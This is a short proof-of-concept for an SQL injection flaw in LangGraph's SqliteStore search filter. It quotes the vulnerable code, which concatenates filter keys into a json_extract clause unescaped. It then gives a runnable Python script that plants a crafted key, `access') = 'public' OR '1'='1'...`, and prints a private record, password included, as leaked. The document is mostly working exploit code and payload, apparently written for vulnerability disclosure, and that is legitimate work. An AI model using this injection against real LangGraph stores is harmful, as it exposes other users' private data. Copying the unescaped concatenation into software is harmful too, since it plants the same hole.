LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")